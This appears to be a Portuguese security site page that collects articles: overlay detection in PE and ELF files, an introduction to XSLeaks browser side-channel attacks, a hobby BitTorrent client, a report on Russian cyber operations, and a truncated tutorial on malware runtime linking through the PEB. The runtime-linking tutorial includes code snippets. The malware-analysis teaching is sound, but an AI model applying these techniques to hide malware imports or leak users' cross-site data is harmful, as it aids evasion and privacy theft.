Ir para conteúdo
  • Fernando Mercês
    No artigo anterior, mostrei como detectar overlays em executáveis PE. Se você não sabe o que é um overlay, é melhor ler o artigo anterior antes de seguir com esse. Hoje vamos incluir os usuários de Linux na brincadeira. ?
    Vamos então ver como fazemos a mesma coisa para executáveis - na verdade qualquer tipo de object file - ELF.
    A lógica é a mesma: primeiro, temos que descobrir como calcular o tamanho original de um executável ELF a partir de seus cabeçalhos. Então vamos dar uma olhada no executável do ls aqui, que tem 147176 bytes de tamanho:
    $ wc -c /bin/ls 147176 /bin/ls Claro que no seu ambiente o tamanho pode ser diferente.
    Agora vou criar um binário chamado novo que terá a mesma imagem, dale.jpg usada no artigo anterior, como overlay (ou seja, adicionado após o fim do arquivo). Isso pode ser feito com o comando cat, que concatena arquivos:
    $ cat /bin/ls dale.jpg > novo Perceba que o tamanho do arquivo novo é exatamente a soma dos tamanhos dos arquivos /bin/ls e dale.jpg:
    $ wc -c /bin/ls dale.jpg 147176 /bin/ls 4347 dale.jpg 151523 total $ wc -c novo 151523 novo Já temos então um ELF com overlay (dados além de seu tamanho original).
    Detectando overlays
    Para detectar um overlay no ELF, a lógica é bem similar à que usamos para os executáveis PE. A diferença é que no caso do ELF, existe um campo no cabeçalho que nos dá o offset no arquivo, ou seja, a posição no arquivo em disco, de onde começam os cabeçalhos das seções. Veja com a opção -h do readelf:
    $ readelf -h novo ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Position-Independent Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x6180 Start of program headers: 64 (bytes into file) Start of section headers: 145256 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 11 Size of section headers: 64 (bytes) Number of section headers: 30 Section header string table index: 29 Como nos binários ELF os cabeçalhos de seção vêm depois de seu conteúdo, é seguro assumir que o tamanho original do arquivo é calculado pela seguinte fórmula:
    início dos cabeçalhos de seção + tamanho do cabeçalho de seção * número de cabeçalhos de seção
    A mesma saída do readelf nos mostra o tamanho de cabeçalhos de seção (64) e o número de cabeçalhos de seção (30). Sendo assim, o tamanho original do arquivo é:
    145256 + 64 * 30 = 147176 (0x23ee8)
    Logo, qualquer coisa além do byte 0x23ee7 é overlay.
    Dá até pra gente extrair o overlay com o dd, usando um block size (bs) do tamanho dele e a opção skip para pular exatamente um bloco:
    $ dd if=novo of=novo.overlay bs=147176 skip=1 0+1 records in 0+1 records out 4347 bytes (4.3 kB, 4.2 KiB) copied, 0.000570537 s, 7.6 MB/s O overlay extraído tem que ter exatamente o conteúdo de dale.jpg. Seu tamanho e hash comprovam o feito:
    $ wc -c novo.overlay dale.jpg 4347 novo.overlay 4347 dale.jpg 8694 total $ md5sum dale.jpg novo.overlay 84a33c81345eb161327696a8d305d728 dale.jpg 84a33c81345eb161327696a8d305d728 novo.overlay Dúvidas é só comentar. Bons estudos!

    Fernando Mercês
    Antes de começar, é necessário explicar o que é um overlay, já que este é um termo genérico empregado em diferentes contextos. Pois bem, na análise de malware o termo diz respeito a quaisquer dados adicionados ao final de um arquivo PE. Aqui, entenda o final do arquivo como o último byte dele. Por exemplo, tomemos o executável write.exe, do Wordpad no Windows 10. No caso aqui, criei uma cópia dele para a área de trabalho, para facilitar. Perceba que ele tem 11264 bytes:
    C:\Users\admin\Desktop>copy c:\Windows\System32\write.exe . 1 file(s) copied. C:\Users\admin\Desktop>dir write.exe 06/12/2019 18:29 11,264 write.exe 1 File(s) 11,264 bytes Agora vamos adicionar algo ao final do arquivo, ou seja, acrescentar algo, aumentando seu tamanho. Isso pode ser qualquer coisa. No contexto de malware, normalmente se acrescenta outros executáveis ou shellcodes, mas qualquer coisa para o nosso exemplo serve. Usarei uma imagem de 4347 bytes:
    C:\Users\admin\Desktop>dir dale.jpg 26/08/2022 15:40 4,347 dale.jpg 1 File(s) 4,347 bytes 0 Dir(s) 39,704,485,888 bytes free Apesar de existirem programas criados especificamente para isto chamados de binders, o próprio comando copy consegue adicionar um overlay com a opção /b e o separador +. No exemplo abaixo, crio um arquivo chamado novo.exe, que será formado pelo conteúdo do arquivo write.exe seguido do conteúdo do arquivo dale.jpg:
    C:\Users\admin\Desktop>copy /b write.exe + dale.jpg novo.exe write.exe dale.jpg 1 file(s) copied. O exectuável novo.exe funciona normalmente, pois possui uma cópia exata do original write.exe logo em seu início e somente depois do último byte é que começa o primeiro byte do arquivo dale.jpg. Se o write.exe possui 11264 bytes de tamanho, significa que seu conteúdo vai do byte 0 ao byte 11263. Depois disso, iniciando no byte 11264, há o conteúdo do dale.jpg, que é considerado um overlay pelas razões já explicadas.
    Perceba também que o tamanho do novo.exe é exatamente a soma dos tamanhos de write.exe e dale.jpg:
    C:\Users\admin\Desktop>dir write.exe dale.jpg 06/12/2019 18:29 11,264 write.exe 26/08/2022 15:40 4,347 dale.jpg 2 File(s) 15,611 bytes C:\Users\admin\Desktop>dir novo.exe 26/08/2022 15:44 15,611 novo.exe 1 File(s) 15,611 bytes Detectando overlays
    Vários softwares detectam a presença de overlays. Por exemplo, ao abrir o novo.exe no DIE, ele detecta o overlay, tornando o botão abaixo clicável:

    DIE habilita o botão Overlay quando há dados acrescentados num aquivo PE
    Existe mais de uma forma de detectar a presença de overlays. A mais famosa funciona assim:
    Busca-se a "última" seção do executável, ou seja, a que vem depois de todas as outras, que naturalmente estará mais perto do fim do arquivo que todas as outras. Uma vez que a última seção seja identificada, anota-se o offset dela no arquivo, ou seja, onde ela começa no arquivo (não é em memória, mas sim no arquivo em disco). O valor anterior é somado com o tamanho dessa seção (também em disco). O resultado é o tamanho original do arquivo. Qualquer coisa a mais no arquivo é considerado overlay. Por exemplo, para o executável novo.exe, vejamos as seções (dá no mesmo aqui olhar no write.exe) com o DIE:

    Informações das seções do arquivo novo.exe no DIE
    A seção que tiver o maior valor no campo PointerToRawData de seu cabeçalho é a última. Note que não necessiamente ela será a última seção na lista, mas normalmente é o que acontece. No caso deste binário PE, é a seção .reloc. Sendo assim, para obter o tamanho original do arquivo PE, basta somar o byte no arquivo onde a seção começa (valor de PointerToRawData) com seu tamanho no arquivo (valor de SizeOfRawData). Fazendo a conta:
    0x2a00 + 0x200 = 0x2c00 (11264 em decimal)
    Portanto, qualquer coisa além do byte 0x2bff (que é 0x2c00 - 1) no arquivo é overlay. Exatamente por isso o DIE começa a exibir do byte 0x2c00 se você clicar no botão Overlay:

    DIE exibindo o overlay
    Executáveis contendo dados além de seu tamanho original podem levantar suspeitas, mas há usos legítimos para este recurso, como na assinatura digital. No entanto, fica a cargo da pessoa que analisa verificar o que tem no overlay e se o código do arquivo lê algo a partir de lá ou não. Quem usa YARA pode se beneficiar da sua capacidade de detectar overlays que adicionei na versão 3.6.0.
    Para deixar o assunto ainda mais fácil, gravei um vídeo resumindo e mostrando o que está neste artigo em ação:
    Bons estudos! ?

    Luan Herrera
    Este artigo tem como objetivo introduzir o conceito de XSLeaks e explicar alguns dos ataques mais comuns dessa nova classe de vulnerabilidades web, além de trazer exemplos concretos de problemas que foram achadas no mundo real.
    O que é a same-origin policy?
    Antes de introduzir o conceito de XSLeaks, é necessário primeiro entender o que é a same-origin policy e seu objetivo.
    Ela é uma das principais políticas de segurança da web e restringe como documentos e scripts carregados por uma origem podem interagir com recursos de outras origens.
    A same-origin policy determina que apenas sites que possuem a mesma origem (<scheme> :// <hostname> [ : <port> ]) podem ler um ao outro, e que sites de origens diferentes são impedidos de fazer o mesmo.
    Um site malicioso, por exemplo, é impedido de ler a resposta do site bancário de outros usuários, já que a origem do site do atacante é diferente do site do banco.
    A imagem abaixo (em inglês) ajuda a ilustrar o exemplo descrito acima.

     
    É importante notar que apesar de não ser possível ler a resposta de sites de origens diferentes, ainda assim é possível fazer uma requisição. É por esse mesmo motivo que ataques como Cross-site request forgery (CSRF) existem, já que o atacante não está preocupado em ler a resposta, e sim, em realizar uma mudança de estado em uma aplicação de outra origem.
    O que são os XSLeaks?
    Cross-site leaks (XSLeaks) é uma classe de vulnerabilidades relativamente nova que utilizam os diversos canais laterais (side-channels) existentes na web para vazar informações de outras origens sem infringir na same-origin policy.
    Ataques que miram tais vulnerabilidades abusam da habilidade limitada que origens diferentes tem de interagir umas com as outras, em conjunto com as diversas funcionalidades implementadas pelos navegadores (navegações, requisições, enviar mensagens, APIs específicas) para inferir dados dos usuários através das informações que acabam sendo expostas por essas funcionalidades.
    Os dados vazados durante os ataques de XSLeaks são bastante variados e dependem do tipo da aplicação.
    Alguns dos mais comuns são:
    1. Estado do usuário (logado, deslogado).
    2. Vazamento da identidade do usuário.
    3. Vazamento do resultado de pesquisas na aplicação.
     
     Tipos de ataques
     Ataques de tempo
    Os ataques de tempo foram um dos primeiros ataques de canal lateral na web a serem explorados e datam mais de 13 anos (https://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html).
    A ideia é relativamente simples: uma página maliciosa faz requisições para páginas de outras origens e mede o tempo que cada requisição demora para concluir.
    Requisições com respostas maiores demoram mais tempo para concluir do que respostas menores. 

     
    Com isso, um atacante pode inferir informações sobre o estado da página — por exemplo, se um atacante realizasse o ataque em uma aplicação que quando o usuário está logado na sua conta a resposta é maior que quando ele não está, ele seria capaz de vazar essa informação apenas medindo a variação de tempo que as requisições demoram para concluir e comparando-as.
    Um problema bastante comum nos ataques de tempo é sua sensibilidade à instabilidade da rede, o que resulta na necessidade de um grande número de requisições e medições para que se tenha certeza estatística da estimativa do tamanho das respostas.
    Contagem de iframes
    Existem alguns atributos de janelas que são expostos para páginas de outras origens e, apesar de serem poucos, um deles em especial pode ser utilizado como oráculo para inferir informações.
    Por exemplo, o atributo length serve para medir a quantidade de iframes em uma janela e pode ser acessado através de uma referência para uma janela ou iframe.

     
    Esse ataque é útil em páginas que possuem iframes e o que pode ser inferido vai depender de cada aplicação.
    Eventos de erro
    Toda vez que uma requisição é feita, o servidor a processa e determina qual é o status code (https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Status) da resposta que será enviada.
    O navegador permite que qualquer página infira o valor do status code (de forma limitada) através de diversas formas. Uma delas é através dos eventos load e error.

     
    Se uma requisição é carregada dentro de uma tag script, por exemplo, e o status code da resposta retornada está na faixa de 2xx, o evento de load será emitido. Já se a resposta estiver na faixa de 4xx, o evento de error será emitido.
    Um exemplo clássico desse ataque é deduzir se o usuário está logado ou não em uma aplicação — na maioria das vezes a aplicação retorna o status code 401 ou 404 se uma rota é acessada sem o usuário estar autenticado e retorna o status code 200 quando o usuário está autenticado.
    Utilizando esse ataque seria possível vazar essa informação.
    Sondagem do cache
    A ideia por trás da sondagem do cache se resume em detectar se um recurso de outra origem foi cacheado pelo browser ou não.
    Antigamente os ataques elaborados consistiam em vazar o histórico de navegação das vítimas checando se imagens de sites populares estavam armazenadas no cache do usuário (o que indicava que o usuário já havia acessado aquele site), mas com a evolução de pesquisa sobre esse tipo de ataque e com a descoberta da técnica de expulsão do cache (http://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html), os ataques se tornaram mais severos.
    O ataque é realizado medindo o tempo que uma requisição demora para concluir — se a resposta vier do cache o tempo será muito pequeno. Se vier da rede, será maior.
     
    Exemplos de ataques no mundo real
    No artigo Facebook exploit – Confirm website visitor identities, o pesquisador utilizou a técnica de escutar os eventos de erro para vazar a identidade do usuário que estava acessando a página maliciosa.  
    Já no artigo XS-Searching Google’s bug tracker to find out vulnerable source code o pesquisador utilizou uma variação do ataque de tempo (utilizando a Cache API) para medir o tempo que as respostas demoravam para serem adicionadas no cache e assim vazar informações sobre relatórios privados do issue tracker do Google.  
    Em Patched Facebook Vulnerability Could Have Exposed Private Information About You and Your Friends o pesquisador utilizou a técnica de contagem de frames para vazar informações pessoais da conta do Facebook do usuário.  
    No artigo Mass XS-Search using Cache Attack o pesquisador utilizou a sondagem do cache para vazar informações de diversos serviços do Google, incluindo o histórico de pesquisa do usuário, vídeos assistidos, notas privadas, etc.  
    No artigo Google Books X-Hacking, o pesquisador utilizou a técnica de contagem de frames (com a ajuda do XSS Auditor) para vazar os livros que o usuário havia pesquisado, coleções privadas, livros comprados e livros lidos.  
    Para saber mais:
    https://xsleaks.dev
    https://github.com/xsleaks/xsleaks
    https://portswigger.net/daily-swig/xs-leak
     
     
       

    Guilherme Martins
    Introdução
    Você, muito provavelmente, já precisou baixar um arquivo torrent na internet. Mesmo que a primeira coisa que tenha pensado quando disse isso seja algo relacionado a pirataria e coisas do gênero. Apesar da má fama que os torrents têm, em alguns casos é conveniente seu uso, como quando se vai baixar alguma distribuição baseada em linux. Para isso, se faz necessário o uso de algum cliente bittorrent. Os mais populares são: uTorrent, qBittorrent e o Bittorrent (não confundir com o protocolo). Sendo o segundo que uso e recomendo. Interessado em como funcionavam, sobre o protocolo usado, pensei que seria uma boa ideia criar o meu próprio cliente de bittorrent. É justamente isso que venho tratar nesse artigo.
    Sobre o BitTorrent
    Antes de falar do cliente em si, precisamos ter uma noção geral do BitTorrent. Trata-se de um protocolo de compartilhamento de arquivos de forma distribuída e descentralizada. Por exemplo, imagine que um usuário quer compartilhar um arquivo music.mp3 na rede. Através do protocolo BitTorrent, este arquivo será fragmentado e cópias destes fragmentos serão compartilhadas com os nós da rede, também chamados de peers. Assim, quando um peer (podemos chamar nesse caso de leecher) solicitar o arquivo, ele requisitará cada fragmento (não necessariamente na mesma ordem) e remontará o arquivo original. Durante o processo de download, o leecher também pode assumir o papel de um seeder, funcionando como um distribuidor dos fragmentos já baixados.
    A seguinte imagem ilustra o esquema acima:

    https://blog.passwork.pro/what-is-bittorrent/
     
    Há muitos outros detalhes sobre o protocolo BitTorrent que optei por deixar de lado, uma vez que este artigo é sobre o desenvolvimento de um software cliente e não sobre o protocolo em si. No entanto, os interessados podem buscar a documentação oficial do mesmo.
    Motivações
    Naturalmente a vontade de escrever um cliente de BitTorrent não veio do nada, ela foi sendo desenvolvida desde o começo do ano de 2021, quando comecei a me interessar mais pelo assunto de redes de computadores, graças a um  professor meu na época. Isso acabou me motivando a querer estudar mais sobre o assunto, e claro, acabei caindo no tópico de redes distribuídas, P2P (Peer-to-Peer) e eventualmente no protocolo BitTorrent.
    Primeiro projeto 
    Este primeiro projeto trata de uma rede de compartilhamento de arquivos. Nele, fui derivando as coisas com as noções que tinha até aquele momento e adicionava o que acreditava necessário. Esse ainda não era um cliente BitTorrent. Na época, não tive um contato mais aprofundado com protocolo. Após cerca de dois meses, consegui fazer com que funcionasse de forma mínima ainda que com alguns bugs, esse projeto da rede de compartilhamento de arquivos. Graças a isso tive uma melhor noção de como redes distribuídas funcionam na prática. Caso queira ver o código, basta acessar o repositório aqui.
    Desenvolvimento do cliente BitTorrent
    Quando considerei fazer o projeto estava tendo contato com uma nova linguagem de programação, C#, então decidi unir o útil ao agradável e fazer um cliente BitTorrent usando-a. Inicialmente pretendia implementar todo o protocolo. No entanto, percebi, após alguns dias tentando implementar que, seria uma uma tarefa árdua e que demandaria muito tempo. Acabei obtendo como resultado um parser de arquivos torrent que, embora simples, era funcional. No fim, acabei não dando segmento a implementação de todos os requisitos do protocolo, mas caso você tenha vontade de implementar  ou apenas interesse em ver mais detalhes sobre o protocolo, recomendo começar lendo as BitTorrent Enhancement Proposals (BEPs) e caso queira fazer usando C#, recomendo também este artigo no qual me baseei.
    Nesse momento, pensei que deveria haver alguma biblioteca que cuidasse disso para mim e comecei a pesquisar. Encontrei uma chamada MonoTorrent, que parecia boa e completa. O único problema era que o projeto estava abandonado e não tinha uma documentação atualizada. Resolvi então ler o código fonte da biblioteca, já que, havia alguns exemplos, mas que já eram suficientes. Dedici por trabalhar em uma casca (wrapper), uma interface para a biblioteca apenas. Durante o desenvolvimento desse projeto, aproveitei para tentar criar uma interface gráfica também, tirando proveito da linguagem que estava usando e de suas facilidades para tal. Acabei por me desvincular da ideia tendo em vista o resultado e seguir sugestões de apenas seguir com a versão CLI, que já se encontrava funcional.
    O projeto hoje
    Eu já o considero pronto, em um estado usável. Devo dizer também que não pretendo dar suporte nem manutenção, tendo em vista que o objetivo foi apenas educacional. O código-fonte está disponível no GitHub e a seguir mostrarei o uso do cliente. 
    Ao executar o programa na linha de comando sem nenhum argumento, o seguinte menu de ajuda é exibido:

    Menu de ajuda do cliente de BitTorrent
     
    As opções são bem simples. A mais importante é a opção a -l/--load, usada para carregar um arquivo do tipo .torrent, que contém informações sobre que arquivos baixar. Ela também suporta um link (Magnet) ou um hash.
    Neste exemplo a seguir, vemos o cliente de BitTorrent baixando a partir de um arquivo .torrent. Antes de fazer o download, o cliente mostra as informações do arquivo final e pergunta ao usuário se quer ou não prosseguir com o download:


    Fazendo o download do arquivo
     
    Comparativo com outros clientes de BitTorrent existentes
    Apesar de ser um projeto para fins didáticos e de estudos, ainda apresenta uma coisa que considero vantajosa: a simplicidade. Ao mesmo tempo, pode ser visto como uma desvantagem, tendo em vista que alguns recursos mais sofisticados não estão presentes. A velocidade também não é das melhores, uma vez que não implementei otimização alguma. No entanto, em situações onde o usuário não possua interface gráfica, esse cliente pode ser de grande ajuda. Além disso, ele pode lhe ser útil, como foi para mim, como um grande auxiliar de estudos de protocolos, já que o código é aberto. Bons estudos!
    Referências:
    https://pt.wikipedia.org/wiki/BitTorrent
    https://blog.passwork.pro/what-is-bittorrent/
    http://www.bittorrent.org/beps/bep_0000.html
    https://github.com/FallAngel1337/P2P-File-Sharing
    https://github.com/FallAngel1337/BitTorrentClient

    Ana Martins
    A ofensiva militar da Rússia contra a Ucrânia teve início no dia 24 de fevereiro. Há quase cinco meses, o ataque causou a morte de cinco mil civis, segundo a ONU, que alerta para a possibilidade de esse número ser bem maior, e a fuga de 16 milhões de ucranianos das cidades atacadas, sendo 5,7 milhões para fora do país. 
    Logo no início da guerra, junto da ofensiva bélica, a Rússia utilizou ciberarmas em sua estratégia de ataque, desestabilizando serviços bancários, de defesa e de segurança,  distraindo o foco do avanço do exército russo ao território ucraniano. 
    Os ataques cibernéticos foram relatados pelas agências de inteligência do Reino Unido, a National Cyber Security Center (NCSC) e dos Estados Unidos, a National Security Agency), aliados da Ucrânia, e outros ataques ao longo dos meses se sucederam, deixando o mundo em alerta diante do poder russo. 
    A guerra da Rússia coloca um holofote na possibilidade de uma ciberguerra, no entanto, a hostilidade no ambiente cibernético entre os países já acontece, com alguns episódios de ataques estratégicos e espionagem. 
    Vale entender o que se tem de informação, como a inteligência russa está organizada e armada, como se deu os ataques no início do ano, e como grupos hackers estão se envolvendo nessa guerra, dos dois lados da disputa. 
     
    O contexto da ciberguerra
    O primeiro ciberataque de grandes proporções a um país aconteceu em 2007, na Estônia. Quando o governo estoniano decidiu remover a estátua símbolo da vitória soviética sobre o nazismo de lugar, representantes russos se manifestaram contra a medida. 
    No mesmo dia que a estátua foi removida, os sites do governo estoniano sofreram ataques distribuídos de negação de serviços (DDoS, na sigla em inglês) e ficaram indisponíveis por horas. Como a Estônia já era um país digitalizado, com muitos dos serviços sendo feitos pela internet, a população sentiu os efeitos desses ataques. A ofensiva foi atribuída à Rússia, mas investigações mostraram que o governo russo não estava envolvido, e a origem dos ataques é desconhecida até hoje.
    Depois desses ataques, os países começaram a compreender as vulnerabilidades envolvidas num país absolutamente conectado e reforçaram suas defesas.  
    “O ambiente cibernético sempre foi hostil em todos os países, que mantêm suas estruturas de inteligência e de ataque, e um monitora o outro. Agora isso só ficou mais evidente”, analisa Carlos Cabral, pesquisador de cibersegurança.
    No contexto Rússia-Ucrânia, a Ucrânia é tida como um laboratório de testes dos hackers russos, para testar técnicas e ferramentas. Em 2015, com o BlackEnergy, 80 mil pessoas ficaram sem luz no oeste da Ucrânia, devido a ataques à rede elétrica. Um ano depois, foi a vez de parte de Kiev, capitão ucraniana ficar sem luz por uma hora. 
    E em 2017, foi a vez do maior ataque cibernético global, o NotPeya, em que um malware foi instalado na atualização de um software de contabilidade muito usado por empresas ucranianas. O ataque começou pela Ucrânia, e se espalhou rapidamente, atingindo 300 mil computadores em 150 países, resultando em prejuízo de US $10 bilhões. E mais uma vez, o ataque foi atribuído a hackers militares russos. 
    Os ataques russos 
    Alguns dias do início da invasão russa, um relatório do National Cyber Security Centre (NCSC), agência de inteligência do Reino Unido, em conjunto com agências de inteligência americanas e empresas, apontou a detecção de um malware que tinha como alvo roteadores da Watchguard, formando uma botnet modular avançada. O malware foi chamado de Cyclops Blink e foi considerado uma evolução do VPNFilter, revelado em 2018 pela Cisco. 
    Em março houve uma atualização do estudo sobre o malware, em que a Trend Micro detectou também a presença do vírus em roteadores da ASUS. A autoria do malware foi atribuída ao grupo hacker Sandworm, apoiado pelo Estado russo. 
    A análise demonstra um alto preparo do exército cibernético russo, tanto em desenvolvimento quanto em estratégia. 
    “A botnet mostra uma alta sofisticação de programação em baixo nível. E um nível de conhecimento de sistemas operacionais, no caso Linux, muito alto também. Sem falar na modularidade, a ideia do software que trabalha com plug ins, uma engenharia digna dos melhores programas do mundo, super modulares,  flexíveis, e adaptáveis para futuros ataques. São softwares muito bem feitos, que poderiam causar um alto impacto de ataques, tanto em variedade de vítimas quanto de dispositivos alvo”, explica Fernando Mercês, pesquisador de segurança da Trend Micro. 
     
    A organização hacker militar russa 
    Para entender a potência do armamento russo no ciberespaço, é importante também entender a organização dessa inteligência dentro do governo russo. Se você gosta de assistir filmes de guerra, ações de espionagem, e coisas do gênero, vai ver que isso é muito mais real do que pensa. 
    Como é de conhecimento geral, todo país tem uma unidade de inteligência. A origem das agências de inteligência russas foi no regime czarista com a polícia secreta chamada de Okhrana.

    Dirigentes da Okhrana em 1905. Fonte: Wikipedia
    Durante a Segunda Guerra Mundial, ainda como União Soviética, surgiu o grupo paramilitar denominado Tcheka (ou Cheka), que depois deu origem à famosa KGB. Com o fim da URSS, surgiu o Serviço Federal de Segurança Russa (FSB), e dentro dele existe o GRU, um serviço de inteligência ligado ao Ministério da Defesa. 
    Dentro do GRU, existe um Centro de Tecnologias Especiais, o GTSST. Dentro desse grupo, existem algumas unidades cibernéticas, a mais conhecida delas é a Unidade 74455. E como ela é conhecida? Pelos ataques que realizaram pelo mundo. Mas a 74455 é mais conhecida pelo nome de Sandworm. Aliás, esse nome vem das referências ao livro de Sci-Fi Duna, encontradas em seu primeiro malware.
    “São grupos contratados com essa função de desenvolver ciberarmas, desde tentar destruir e parar completamente a infraestrutura crítica de países, como fizeram na Ucrânia, até o mais atual, de BotNet, as Redes de Robôs, e as Redes Zumbi”, explica Mercês.
    Vários oficiais do GRU já foram identificados pelas agências de inteligência norte-americanas, incluindo seis deles indicados em 2020.

    Oficiais do GRU indiciados pelo Departamento de Justiça norte-americano. Fonte: DoJ.
    E vale lembrar que a Rússia não é uma potência isolada no universo cibernético. Junto com ela figuram velhos conhecidos como Estados Unidos, Coreia do Norte, China e Irã. Além de muitos outros países europeus que aprenderam a transitar nesse espaço depois de serem alvo de ataques. O que rege esse universo são questões políticas, onde a tecnologia é mais uma arma para atender os interesses das nações envolvidas.  
    Por outro lado, a guerra atual não conta só com a força das organizações russas. Grupos hackers têm se envolvido em ataques dos dois lados da disputa. No início da invasão russa, um dos principais grupos hackers especializado em ransomware, o Conti, publicou no Twitter total apoio às ações do governo russo, e ameaçou a atacar infraestrutura crítica de países que se opuserem a isso. A publicação gerou retaliação dentro do próprio grupo, que criou a conta @ContiLeaks e vazou informações sobre o funcionamento da organização. 
    Do lado oposto, o grupo Anonymous declarou apoio à Ucrânia, reivindicando ataques em DDoS contra o governo e instituições russas. Além de grupos ciberativistas de diferentes localidades que manifestaram apoio aos ucranianos, e outros que se posicionaram a favor da Rússia. 
    Ou seja, uma guerra que vai muito além da luta entre forças armadas e governos. No cenário cibernético hackers preparados se digladiam. E quem não entende muito do assunto, segue achando que parece assunto de ficção. “Essa perspectiva de ficção às vezes faz com que a interpretação de pessoas que estão tão lá no topo seja equivocada. Ou pra mais ou pra menos, acham que podem acontecer ataques cinematográficos, e exageram, ou acham que são ataques cinematográficos, e isso não acontece aqui. No meio do caminho é que está a solução”, finaliza Cabral. 


    Leandro Fróes
    Introdução
    No artigo de hoje falaremos sobre uma das técnicas mais utilizadas por malwares: a técnica de “Runtime Linking”. Como as aulas 19 e 20 do nosso curso do AMO já deram uma introdução bem legal sobre o assunto, esse artigo será um complemento e nosso foco será em uma forma mais “crua” e “escondida” de se utilizar/implementar esta técnica que é sem utilizar função alguma da API do Windows.
    Lembrando que assim como a maioria das técnicas apresentadas nessa série de artigos, a Runtime Linking também pode ser utilizada de forma legítima, o que de fato é bem comum.
    Definição
    Tanto a definição quanto a implementação desta técnica acabam sendo tão simples quanto o seu nome. A técnica se resume basicamente em resolver o endereço de uma ou mais funções em tempo de execução. Para criadores de malware, as vantagens de se utilizar esta técnica são duas: evitar que componentes como a tabela de importação deem alguma ideia do que o binário possa fazer e tornar a análise do malware mais difícil.
    Até aí beleza, isso já foi explicado no curso do AMO, certo? Relembrando um pouco do que foi falado lá no AMO: a função LoadLibrary é utilizada para carregar uma DLL no espaço de endereço de um processo e a função GetProcAddress é utilizada para pegar o endereço de uma função exportada por uma DLL carregada. 
    Considerando binários linkados dinamicamente, o que é super comum no Windows, se essas duas funções forem chamadas diretamente por tal binário, elas estarão presentes em sua tabela de importação e, consequentemente, poderão levantar alguma suspeita em relação à técnica em si sendo utilizada.
    Para que estas funções não fiquem tão expostas na tabela de importação, elas não podem ser chamadas diretamente via API do Windows, ou seja, o endereço dessas funções precisa ser obtido de alguma forma em tempo de execução a fim de evitar que o loader preencha os endereços destas funções na tabela de importação (IAT) do binário em tempo de carregamento.
    Até o fim deste artigo veremos que na verdade não precisamos do endereço da função GetProcAddress e às vezes nem mesmo da LoadLibrary, mas vamos ignorar isto por agora.
    Process Environment Block (PEB)
    Durante a criação de um processo no Windows, quando ainda em kernel-mode, é criada uma estrutura chamada Process Environment Block, também conhecida como PEB. Por mais que esta estrutura seja criada dentro na system call NtCreateUserProcess (mais especificamente na função MmCreatePeb) e possua informações importantes relacionadas ao processo como um todo, ela é uma das únicas estruturas consideradas “de sistema” que é exposta e disponível em user-mode. Esta exposição em user-mode é devido ao fato que tais informações importantes são utilizadas por diversos componentes que residem em user-mode, tais como o Heap Manager. Se estes componentes tivessem que acessar tais informações via system calls, seria muito "caro" do ponto de vista de performance.
    Em user-mode, o endereço desta estrutura pode ser obtido através de um campo chamado ProcessEnvironmentBlock dentro de uma outra estrutura chamada Thread Environment Block (TEB), que possui seu endereço carregado por padrão, para cada thread, no registrador FS em x86 ou GS em x64. Não vamos entrar em detalhes sobre o que é a TEB neste artigo, mas é importante sabermos que no offset 0x30 a partir do endereço no registrador FS (x86) ou 0x60 do registrador GS (x64) obtemos um ponteiro para a PEB. 
    Abaixo estão as definições de ambas as estruturas utilizando o WinDbg em um binário compilado para 64 bits. Não me preocupei em colocar toda a saída do comando aqui, uma vez que são estruturas bem grandes e os campos que nos interessam estão no começo das estruturas:
    0:010> dt _TEB    +0x000 NtTib            : _NT_TIB    +0x038 EnvironmentPointer : Ptr64 Void    +0x040 ClientId         : _CLIENT_ID    +0x050 ActiveRpcHandle  : Ptr64 Void    +0x058 ThreadLocalStoragePointer : Ptr64 Void    +0x060 ProcessEnvironmentBlock : Ptr64 _PEB    +0x068 LastErrorValue   : Uint4B    +0x06c CountOfOwnedCriticalSections : Uint4B    +0x070 CsrClientThread  : Ptr64 Void    +0x078 Win32ThreadInfo  : Ptr64 Void    +0x080 User32Reserved   : [26] Uint4B    +0x0e8 UserReserved     : [5] Uint4B    +0x100 WOW32Reserved    : Ptr64 Void [...] 0:010> dt _PEB    +0x000 InheritedAddressSpace : UChar    +0x001 ReadImageFileExecOptions : UChar    +0x002 BeingDebugged    : UChar    +0x003 BitField         : UChar    +0x003 ImageUsesLargePages : Pos 0, 1 Bit    +0x003 IsProtectedProcess : Pos 1, 1 Bit    +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit    +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit    +0x003 IsPackagedProcess : Pos 4, 1 Bit    +0x003 IsAppContainer   : Pos 5, 1 Bit    +0x003 IsProtectedProcessLight : Pos 6, 1 Bit    +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit    +0x004 Padding0         : [4] UChar    +0x008 Mutant           : Ptr64 Void    +0x010 ImageBaseAddress : Ptr64 Void    +0x018 Ldr              : Ptr64 _PEB_LDR_DATA    +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS    +0x028 SubSystemData    : Ptr64 Void    +0x030 ProcessHeap      : Ptr64 Void    +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION    +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER [...] Existem várias formas de se obter o endereço da PEB de um processo na prática, tanto programaticamente quanto utilizando alguma ferramenta. Abaixo estão listados alguns exemplos de como fazer isto:
    Utilizando as funções intrínsecas readgsqword() e readfsdword(): #if defined(_WIN64)     return (PPEB)__readgsqword(0x60); #else     return (PPEB)__readfsdword(0x30); Diretamente em Assembly: mov rax, gs:[60h] ; x64 mov eax, fs:[30h] ; x86 Utilizando o comando dump no x64dbg:
